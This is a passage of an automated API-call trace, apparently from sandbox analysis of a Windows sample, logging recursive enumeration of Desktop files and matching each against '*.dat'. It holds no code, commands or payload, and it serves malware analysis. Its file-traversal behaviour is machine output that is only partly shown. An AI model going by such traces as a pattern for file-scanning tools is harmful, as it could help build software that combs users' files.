ftLastWriteTime.dwLowDateTime=0x67e6a640, ftLastWriteTime.dwHighDateTime=0x1d7a853, nFileSizeHigh=0x0, nFileSizeLow=0xec1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bv-6RbWd7Y0DsEw.m4a", cAlternateFileName="BV-6RB~1.M4A")) returned 1 [0099.527] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.527] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\" [0099.527] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\", lpString2="Bv-6RbWd7Y0DsEw.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a" [0099.527] lstrcpyW (in: lpString1=0x19be24, lpString2="\\km0vcCJ\\FfCPM" | out: lpString1="\\km0vcCJ\\FfCPM") returned="\\km0vcCJ\\FfCPM" [0099.527] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="\\km0vcCJ\\FfCPM\\") returned="\\km0vcCJ\\FfCPM\\" [0099.527] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM\\", lpString2="Bv-6RbWd7Y0DsEw.m4a" | out: lpString1="\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a") returned="\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a" [0099.527] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21104a0 [0099.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0099.527] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x41) returned 0x34300d0 [0099.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a", cchWideChar=65, lpMultiByteStr=0x34300d0, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a", lpUsedDefaultChar=0x0) returned 65 [0099.527] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa4b0 [0099.528] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.528] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.528] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112fe8 [0099.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x2112fe8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.528] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fe8 | out: hHeap=0x2110000) returned 1 [0099.528] PathMatchSpecW (pszFile="Bv-6RbWd7Y0DsEw.m4a", pszSpec="*.dat") returned 0 [0099.528] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa4b0 | out: hHeap=0x2110000) returned 1 [0099.528] FindNextFileW (in: hFindFile=0x6d1898, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19731fb0, ftCreationTime.dwHighDateTime=0x1d7b001, ftLastAccessTime.dwLowDateTime=0x1b75f5c0, ftLastAccessTime.dwHighDateTime=0x1d7b01b, ftLastWriteTime.dwLowDateTime=0x1b75f5c0, ftLastWriteTime.dwHighDateTime=0x1d7b01b, nFileSizeHigh=0x0, nFileSizeLow=0xbb0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="dBJ6cQr3Mn6cOVMZ_15.mkv", cAlternateFileName="DBJ6CQ~1.MKV")) returned 1 [0099.528] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.528] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\" [0099.528] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\", lpString2="dBJ6cQr3Mn6cOVMZ_15.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv" [0099.528] lstrcpyW (in: lpString1=0x19be24, lpString2="\\km0vcCJ\\FfCPM" | out: lpString1="\\km0vcCJ\\FfCPM") returned="\\km0vcCJ\\FfCPM" [0099.528] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="\\km0vcCJ\\FfCPM\\") returned="\\km0vcCJ\\FfCPM\\" [0099.528] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM\\", lpString2="dBJ6cQr3Mn6cOVMZ_15.mkv" | out: lpString1="\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv") returned="\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv" [0099.528] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21104a0 [0099.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0099.528] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x45) returned 0x34300d0 [0099.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv", cchWideChar=69, lpMultiByteStr=0x34300d0, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv", lpUsedDefaultChar=0x0) returned 69 [0099.528] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa458 [0099.528] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.528] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.528] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113078 [0099.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x2113078, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.529] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113078 | out: hHeap=0x2110000) returned 1 [0099.529] PathMatchSpecW (pszFile="dBJ6cQr3Mn6cOVMZ_15.mkv", pszSpec="*.dat") returned 0 [0099.529] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa458 | out: hHeap=0x2110000) returned 1 [0099.529] FindNextFileW (in: hFindFile=0x6d1898, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb87e60, ftCreationTime.dwHighDateTime=0x1d7a587, ftLastAccessTime.dwLowDateTime=0x2bf8b90, ftLastAccessTime.dwHighDateTime=0x1d7abca, ftLastWriteTime.dwLowDateTime=0x2bf8b90, ftLastWriteTime.dwHighDateTime=0x1d7abca, nFileSizeHigh=0x0, nFileSizeLow=0x12c3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OTOhWvt8XHWdX2Jb-Y9j.avi", cAlternateFileName="OTOHWV~1.AVI")) returned 1 [0099.529] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.529] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\" [0099.529] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\", lpString2="OTOhWvt8XHWdX2Jb-Y9j.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi" [0099.529] lstrcpyW (in: lpString1=0x19be24, lpString2="\\km0vcCJ\\FfCPM" | out: lpString1="\\km0vcCJ\\FfCPM") returned="\\km0vcCJ\\FfCPM" [0099.529] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="\\km0vcCJ\\FfCPM\\") returned="\\km0vcCJ\\FfCPM\\" [0099.529] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM\\", lpString2="OTOhWvt8XHWdX2Jb-Y9j.avi" | out: lpString1="\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi") returned="\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi" [0099.529] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21104a0 [0099.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0099.529] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x46) returned 0x34300d0 [0099.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi", cchWideChar=70, lpMultiByteStr=0x34300d0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi", lpUsedDefaultChar=0x0) returned 70 [0099.529] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa248 [0099.529] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.529] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.529] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.529] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130c0 [0099.529] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x21130c0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.529] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130c0 | out: hHeap=0x2110000) returned 1 [0099.529] PathMatchSpecW (pszFile="OTOhWvt8XHWdX2Jb-Y9j.avi", pszSpec="*.dat") returned 0 [0099.529] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa248 | out: hHeap=0x2110000) returned 1 [0099.529] FindNextFileW (in: hFindFile=0x6d1898, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7891300, ftCreationTime.dwHighDateTime=0x1d7ae3e, ftLastAccessTime.dwLowDateTime=0xd42823d0, ftLastAccessTime.dwHighDateTime=0x1d7b058, ftLastWriteTime.dwLowDateTime=0xd42823d0, ftLastWriteTime.dwHighDateTime=0x1d7b058, nFileSizeHigh=0x0, nFileSizeLow=0x749e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RlIHjPIHGxNLKdZtxgXD.mkv", cAlternateFileName="RLIHJP~1.MKV")) returned 1 [0099.529] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.529] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\" [0099.529] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\", lpString2="RlIHjPIHGxNLKdZtxgXD.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv" [0099.530] lstrcpyW (in: lpString1=0x19be24, lpString2="\\km0vcCJ\\FfCPM" | out: lpString1="\\km0vcCJ\\FfCPM") returned="\\km0vcCJ\\FfCPM" [0099.530] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="\\km0vcCJ\\FfCPM\\") returned="\\km0vcCJ\\FfCPM\\" [0099.530] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM\\", lpString2="RlIHjPIHGxNLKdZtxgXD.mkv" | out: lpString1="\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv") returned="\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv" [0099.530] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21104a0 [0099.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0099.530] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x46) returned 0x34300d0 [0099.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv", cchWideChar=70, lpMultiByteStr=0x34300d0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv", lpUsedDefaultChar=0x0) returned 70 [0099.530] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa508 [0099.530] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.530] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.530] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.530] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130d8 [0099.530] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x21130d8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.530] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130d8 | out: hHeap=0x2110000) returned 1 [0099.530] PathMatchSpecW (pszFile="RlIHjPIHGxNLKdZtxgXD.mkv", pszSpec="*.dat") returned 0 [0099.530] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa508 | out: hHeap=0x2110000) returned 1 [0099.530] FindNextFileW (in: hFindFile=0x6d1898, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7891300, ftCreationTime.dwHighDateTime=0x1d7ae3e, ftLastAccessTime.dwLowDateTime=0xd42823d0, ftLastAccessTime.dwHighDateTime=0x1d7b058, ftLastWriteTime.dwLowDateTime=0xd42823d0, ftLastWriteTime.dwHighDateTime=0x1d7b058, nFileSizeHigh=0x0, nFileSizeLow=0x749e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RlIHjPIHGxNLKdZtxgXD.mkv", cAlternateFileName="RLIHJP~1.MKV")) returned 0 [0099.530] FindClose (in: hFindFile=0x6d1898 | out: hFindFile=0x6d1898) returned 1 [0099.530] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0099.530] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2d) returned 0x34300d0 [0099.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", cchWideChar=45, lpMultiByteStr=0x34300d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpUsedDefaultChar=0x0) returned 45 [0099.530] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.530] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.530] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.531] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.531] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113030 [0099.531] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x2113030, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.531] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113030 | out: hHeap=0x2110000) returned 1 [0099.531] PathMatchSpecW (pszFile="FfCPM", pszSpec="*.dat") returned 0 [0099.531] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.531] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa73f7660, ftCreationTime.dwHighDateTime=0x1d7a5a5, ftLastAccessTime.dwLowDateTime=0x140c8d40, ftLastAccessTime.dwHighDateTime=0x1d7a9e9, ftLastWriteTime.dwLowDateTime=0x140c8d40, ftLastWriteTime.dwHighDateTime=0x1d7a9e9, nFileSizeHigh=0x0, nFileSizeLow=0x9a26, dwReserved0=0x0, dwReserved1=0x0, cFileName="fw4-.avi", cAlternateFileName="")) returned 1 [0099.531] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.531] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.531] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2="fw4-.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\fw4-.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\fw4-.avi" [0099.531] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.531] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.531] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2="fw4-.avi" | out: lpString1="\\km0vcCJ\\fw4-.avi") returned="\\km0vcCJ\\fw4-.avi" [0099.531] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\fw4-.avi", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0099.531] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\fw4-.avi", cchWideChar=48, lpMultiByteStr=0x34300d0, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\fw4-.avi", lpUsedDefaultChar=0x0) returned 48 [0099.532] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.532] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.532] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.532] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.532] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112fd0 [0099.532] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x2112fd0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.532] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fd0 | out: hHeap=0x2110000) returned 1 [0099.532] PathMatchSpecW (pszFile="fw4-.avi", pszSpec="*.dat") returned 0 [0099.532] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.532] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21cb9ee0, ftCreationTime.dwHighDateTime=0x1d7a858, ftLastAccessTime.dwLowDateTime=0x7ae5b3a0, ftLastAccessTime.dwHighDateTime=0x1d7ab26, ftLastWriteTime.dwLowDateTime=0x7ae5b3a0, ftLastWriteTime.dwHighDateTime=0x1d7ab26, nFileSizeHigh=0x0, nFileSizeLow=0x12842, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tc9-j3lGUjaG6GJI.png", cAlternateFileName="TC9-J3~1.PNG")) returned 1 [0099.532] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.532] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.532] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2="Tc9-j3lGUjaG6GJI.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png" [0099.532] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.532] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.532] lstrcatW (in: lpString1="\\km0vcCJ\\", 